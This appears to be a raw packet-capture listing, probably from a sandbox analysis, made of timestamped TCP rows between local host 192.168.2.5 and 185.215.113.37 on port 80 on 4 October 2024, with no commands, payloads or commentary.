Oct 4, 2024 05:45:09.949028015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949034929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949043036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949053049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949059010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949070930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949074984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949089050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949090958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949105978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949111938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949111938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949120998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949130058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949135065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949151039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949165106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949171066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949171066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949187994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949194908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949194908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949201107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949213028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949215889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949230909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949232101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949245930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949250937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949260950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949275017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949275970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949302912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949331999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949333906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949348927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949363947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949378967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949383020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949393034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949409008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949409008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949409008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949423075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949428082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949438095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949453115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949453115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949460030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949470997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949475050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949487925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949491024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949505091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949506044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949521065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949522018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949536085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949537992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949551105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949553967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949590921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949590921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949590921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949596882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949611902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949626923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949640989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949655056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949656963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949656963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949668884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949675083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949683905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949691057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949698925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949709892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949713945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949728966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949729919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949744940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949759960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949762106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949780941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949801922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949903965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949918032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949932098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949947119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949961901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949964046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949978113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.949987888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.949992895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950006962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950011015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950022936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950033903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950038910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950056076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950057983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950078011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950078964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950093031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950095892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950107098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950120926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950124025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950144053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950149059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950149059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950158119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950167894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950174093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950184107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950189114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950198889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950212955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950217009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950227976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950236082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950242996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950253963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950258970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950269938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950282097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950290918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950290918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950295925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950313091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950321913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950335026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950337887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950351000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950352907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950365067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950375080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950381041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950392008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950397015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950407028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950413942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950423956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950429916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950438976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950445890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950454950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950460911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950469971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950476885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950488091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950493097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950505018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950506926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950522900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950522900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950561047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950561047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950561047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950582981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950598001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950612068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950642109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950642109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950663090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950722933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950737953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950752020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950766087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950779915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950778961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950779915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950794935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950798988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950809002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950817108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950830936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950839996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950839996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950846910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950860023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950862885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.950875998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950891972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.950911045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951028109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951041937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951056004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951072931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951073885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951087952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951098919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951098919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951102972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951117992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951117992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951132059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951147079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951152086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951163054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951170921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951179028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951188087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951194048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951206923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951210022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951221943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951225996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951237917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951253891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951272011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951276064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951292038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951307058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951323032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951339960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951354980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951374054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951407909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951420069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951421976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951445103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951461077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951461077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951461077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951483965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951484919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951498985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951498985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951514006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951528072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951530933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951543093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951556921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951556921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951558113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951574087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951575994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951587915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951591015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951606989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951625109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951642990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951679945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951730013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951740980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951762915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951776981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951788902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951793909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951808929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951827049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951833963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951849937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951850891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951868057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951879978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951883078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951905012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951920033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.951946020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951961040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951975107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951988935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.951997995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952003956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952019930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952053070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952076912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952090979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952105045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952119112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952125072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952133894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952147961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952148914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952182055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952200890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952207088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952220917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952243090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952255011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952258110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952272892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952275038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952287912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952294111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952302933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952313900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952328920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952344894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952359915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952374935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952390909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952404022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952414989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952419996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952439070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952466965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952486992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952502012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952517033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952533960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952563047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952614069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952627897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952644110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952660084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952661037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952691078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952691078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952721119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952755928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952769995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952784061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952797890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952811956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952811956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952811956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952826977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952831030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952842951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952852011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952857971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952872992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952888012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952888966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952903986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:09.952908039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952928066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.952955008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.953010082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:09.953084946 CEST	49704	80	192.168.2.5	185.215.113.37
